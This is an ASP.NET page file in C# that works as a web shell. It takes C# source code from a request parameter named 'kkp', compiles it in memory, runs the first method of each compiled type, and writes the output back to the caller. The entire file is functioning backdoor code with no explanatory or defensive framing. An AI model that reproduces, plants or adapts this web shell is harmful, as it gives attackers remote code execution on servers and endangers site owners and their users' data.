<%@ Page Language="C#" %> <%@ import Namespace="System"%> <%@ import Namespace="System.CodeDom"%> <%@ import Namespace="System.CodeDom.Compiler"%> <%@ import Namespace="System.Reflection"%> <% string responseStr=Request["kkp"]; CodeCompileUnit ccu = new CodeCompileUnit(); CodeDomProvider csc = CodeDomProvider.CreateProvider("CSharp"); CompilerParameters cplist = new CompilerParameters(); cplist.GenerateExecutable = false; cplist.GenerateInMemory = true; cplist.ReferencedAssemblies.Add("System.dll"); CompilerResults cr = csc.CompileAssemblyFromSource(cplist, responseStr); Assembly loAssemble = cr.CompiledAssembly; foreach (Type type in loAssemble.GetTypes()) { Type T = loAssemble.GetType(type.ToString()); object obj = Activator.CreateInstance(T, true); MethodInfo[] methodInfos = T.GetMethods(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic); object[] parameters = new object[] { }; MethodInfo method = type.GetMethod(methodInfos[0].Name.ToString()); Response.Write(Convert.ToString(method.Invoke(obj, parameters))); } %>